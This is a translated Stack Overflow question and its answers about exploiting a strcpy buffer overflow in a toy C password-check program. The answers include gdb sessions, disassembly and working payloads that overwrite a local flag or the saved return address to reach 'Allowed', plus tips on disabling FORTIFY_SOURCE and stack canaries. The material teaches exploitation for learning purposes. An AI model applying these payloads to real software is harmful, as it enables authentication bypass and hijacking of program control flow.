尝试缓冲区溢出攻击

9

我正在尝试使用缓冲区溢出来改变函数的结果,通过以下代码来改变堆栈上的结果:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int check_auth1(char *password) 
{
    char password_buffer[8];
    int auth_flag = 0;
    strcpy(password_buffer, password);
    if (strcmp(password_buffer, "cup") == 0) {
        auth_flag = 1;
    }
    return auth_flag;
}
int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    int authenticated = check_auth1(argv[1]);
    if (authenticated != 1) {
        printf("NOT Allowed.\n");
    } else {
        printf("Allowed.\n");
    }
    return 0;
}

我正在使用gdb来分析堆栈,以下是我的结果:
0xbffff6d0: 0xbffff8e4  0x0000002f  0xbffff72c  0xb7fd0ff4
0xbffff6e0: 0x08048540  0x08049ff4  0x00000002  0x0804833d
0xbffff6f0: 0x00000000  0x00000000  0xbffff728  0x0804850f
0xbffff700: 0xbffff901  0xb7e5e196  0xb7fd0ff4  0xb7e5e225
0xbffff710: 0xb7fed280  0x00000000  0x08048549  0xb7fd0ff4
0xbffff720: 0x08048540  0x00000000  0x00000000  0xb7e444d3
0xbffff730: 0x00000002  0xbffff7c4  0xbffff7d0  0xb7fdc858
0xbffff740: 0x00000000  0xbffff71c  0xbffff7d0  0x00000000


    [1] $ebp                0xbffff6f8
    [2] $esp                0xbffff6d0
    [3] password            0xbffff700
    [4] auth_flag           0xbffff6ec
    [5] password_buffer     0xbffff6e4


   0x080484ce <+0>: push   %ebp
   0x080484cf <+1>: mov    %esp,%ebp
   0x080484d1 <+3>: and    $0xfffffff0,%esp
   0x080484d4 <+6>: sub    $0x20,%esp
   0x080484d7 <+9>: cmpl   $0x1,0x8(%ebp)
   0x080484db <+13>:    jg     0x80484ff <main+49>
   0x080484dd <+15>:    mov    0xc(%ebp),%eax
   0x080484e0 <+18>:    mov    (%eax),%edx
   0x080484e2 <+20>:    mov    $0x8048614,%eax
   0x080484e7 <+25>:    mov    %edx,0x4(%esp)
   0x080484eb <+29>:    mov    %eax,(%esp)
   0x080484ee <+32>:    call   0x8048360 <printf@plt>
   0x080484f3 <+37>:    movl   $0x0,(%esp)
   0x080484fa <+44>:    call   0x80483a0 <exit@plt>
   0x080484ff <+49>:    mov    0xc(%ebp),%eax
   0x08048502 <+52>:    add    $0x4,%eax
   0x08048505 <+55>:    mov    (%eax),%eax
   0x08048507 <+57>:    mov    %eax,(%esp)
   ----------
   IMPORTANT STUFF STARTS NOW
   0x0804850a <+60>:    call   0x8048474 <check_auth1>
   0x0804850f <+65>:    mov    %eax,0x1c(%esp)
   0x08048513 <+69>:    cmpl   $0x1,0x1c(%esp)
   0x08048518 <+74>:    je     0x8048528 <main+90>

我确定了$ebp与&password_buffer之间的距离:0xbffff6f8 - 0xbffff6e4 = 14字节。

因此,通过输入14个'A'来运行./stackoverflowtest $(perl -e 'print "A" x 14'),应该会进入“Allowed”状态。

我错在哪里?需要什么样的输入才能引起溢出?

ASLR和gcc堆栈保护已关闭。

check_auth1的汇编转储:

Dump of assembler code for function check_auth1:
   0x08048474 <+0>: push   %ebp
   0x08048475 <+1>: mov    %esp,%ebp
   0x08048477 <+3>: push   %edi
   0x08048478 <+4>: push   %esi
   0x08048479 <+5>: sub    $0x20,%esp
=> 0x0804847c <+8>: movl   $0x0,-0xc(%ebp)
   0x08048483 <+15>:    mov    0x8(%ebp),%eax
   0x08048486 <+18>:    mov    %eax,0x4(%esp)
   0x0804848a <+22>:    lea    -0x14(%ebp),%eax
   0x0804848d <+25>:    mov    %eax,(%esp)
   0x08048490 <+28>:    call   0x8048370 <strcpy@plt>
   0x08048495 <+33>:    lea    -0x14(%ebp),%eax
   0x08048498 <+36>:    mov    %eax,%edx
   0x0804849a <+38>:    mov    $0x8048610,%eax
   0x0804849f <+43>:    mov    $0x4,%ecx
   0x080484a4 <+48>:    mov    %edx,%esi
   0x080484a6 <+50>:    mov    %eax,%edi
   0x080484a8 <+52>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x080484aa <+54>:    seta   %dl
   0x080484ad <+57>:    setb   %al
   0x080484b0 <+60>:    mov    %edx,%ecx
   0x080484b2 <+62>:    sub    %al,%cl
   0x080484b4 <+64>:    mov    %ecx,%eax
   0x080484b6 <+66>:    movsbl %al,%eax
   0x080484b9 <+69>:    test   %eax,%eax
   0x080484bb <+71>:    jne    0x80484c4 <check_auth1+80>
   0x080484bd <+73>:    movl   $0x1,-0xc(%ebp)
   0x080484c4 <+80>:    mov    -0xc(%ebp),%eax
   0x080484c7 <+83>:    add    $0x20,%esp
   0x080484ca <+86>:    pop    %esi
   0x080484cb <+87>:    pop    %edi
   0x080484cc <+88>:    pop    %ebp
   0x080484cd <+89>:    ret  

@andrewcooke 现在修好了,抱歉!是的,它可以编译。 - orange
你能同时发布 check_auth1 生成的汇编代码吗? - zakinster
3
你的意思是不是缓冲区溢出(buffer overflow)而不是栈溢出(stack overflow) - paddy
同意Paddy的观点。这段代码不会导致运行时堆栈溢出,但可能会发生缓冲区溢出。 - yamafontes
@zakinster 已添加 是的,缓冲区溢出抱歉。 - orange
3个回答

3

您正在对1进行精确检查;将其更改为C编程中更常见的样式:

if (! authenticated) {

你会发现它正在工作(或在gdb中运行它,或打印出标志值,你会看到标志被很好地覆盖了,只是不是1)。

记住,int由多个字符组成。因此,设置一个确切的值为1是困难的,因为这些字符中的许多需要为零(这是字符串终止符)。相反,您将获得像13363这样的值(对于密码12345678901234)。

[奇怪的是,即使溢出,valgrind也没有抱怨。]

更新

好的,这就是如何使用您拥有的代码完成它。我们需要一个带有13个字符的字符串,其中最后一个字符是ASCII 1。在bash中:

> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.

我在使用哪些东西

  if (authenticated != 1) {
    printf("NOT Allowed.\n");
  } else {
    printf("Allowed.\n");
  }

此外,我依靠编译器将一些未使用的字节设置为零(小端序;第13个字节是1,第14至16个字节为0)。它可以与gcc bo.c一起使用,但不能与gcc -O3 bo.c一起使用。

这里的另一个答案通过走到下一个可以有用地重写的位置来解决这个问题(我假设您正在针对auth_flag变量,因为您将其直接放在密码后面)。


不修改C代码,缓冲区溢出是不可能的吗?我认为可以通过精确计算输入应该有多少字节来实现溢出。 - orange
是的,你溢出了。但是auth_flag被设置为一些值,比如54232437435。在gdb中运行并查看。 - andrew cooke
有趣的是,即使存在缓冲区溢出,代码仍然可以正常工作,因为您正在检查是否为1。这也说明为什么使用strcpy是一个非常非常糟糕的想法。 - rm5248
@rm5248 - 这也说明了为什么使用strcpy是一个非常非常糟糕的想法,会添加:在这种情况下(即,当适当使用时,strcpy非常有用) - ryyker
@ryyker 我想不出使用 strcpy 的有效用途... 除非使用一个没有边界检查的库,而 strncpy 则有其自身的缺陷,如果达到限制则不会终止... 然后将可能为 strlen 提供错误值... - Grady Player

3

这很容易被利用,以下是步骤。

首先使用-g编译,这会使得操作更容易理解。然后,我们的目标是重写check_auth1()函数中保存的eip并将其移动到main()函数中测试的else部分。

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

我们停在了check_auth1(),并展示了堆栈帧。我们发现保存的eip存储在堆栈中的0xffffd2ec位置,包含0x804853f的值。
让我们看看它会导致什么:
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave  
   0x0804856a <+107>:   ret    
End of assembler dump.

但实际上我们想要避免执行cmpl $0x1,0x1c(%esp),直接跳转到测试的else部分。也就是说我们想要跳转到0x08048558
无论如何,首先让我们尝试看看我们的28个“A”是否足以重写保存的eip
(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

在这里,strcpy 函数发生了溢出,因此让我们来看一下栈帧:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

实际上,我们将保存的eip重写为'A'(0x41A的十六进制代码)。事实上,28正是我们所需要的,不需要更多。如果我们用目标地址替换最后四个字节,就可以了。
其中一件事是你需要重新排列字节以考虑little-endianess。因此,0x08048558将变成\x58\x85\x04\x08
最后,你还需要为保存的ebp值编写一些有意义的地址(不是AAAA),所以我的技巧就是将最后一个地址加倍,就像这样:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

请注意,无需禁用ASLR,因为您正在跳转到.text部分(该部分不会在ASLR下移动)。但是,您绝对需要禁用canaries。 编辑:我错了,关于用我们保存的eip替换保存的ebp。实际上,如果您没有提供正确的ebp,则在尝试从main退出时会遇到段错误。这是因为,我们将保存的ebp设置为.text部分中的某个位置,并且即使从check_auth1返回时没有问题,在返回main函数时,堆栈帧将被恢复不当(系统将认为堆栈位于代码中)。结果将是指向指令的保存的ebp上方4个字节将与main的保存的eip混淆。因此,要么禁用ASLR并写入保存的ebp的正确地址(0xffffd330),这将导致
 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

或者,你需要执行一个ROP(Return-oriented programming)来执行干净的exit(0)(通常很容易实现)。


2
strcpy(password_buffer, password);

在测试过程中,您需要处理的一个问题是此函数调用。如果程序段错误,则可能是因为FORTIFY_SOURCE。我想说“意外崩溃”,但我不认为这适用于这里;)

FORTIFY_SOURCE使用高风险函数的“更安全”变体,例如memcpystrcpy。编译器在可以推断目标缓冲区大小时使用更安全的变体。如果复制超出目标缓冲区大小,则程序调用abort()

要在测试中禁用FORTIFY_SOURCE,您应该使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0编译程序。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接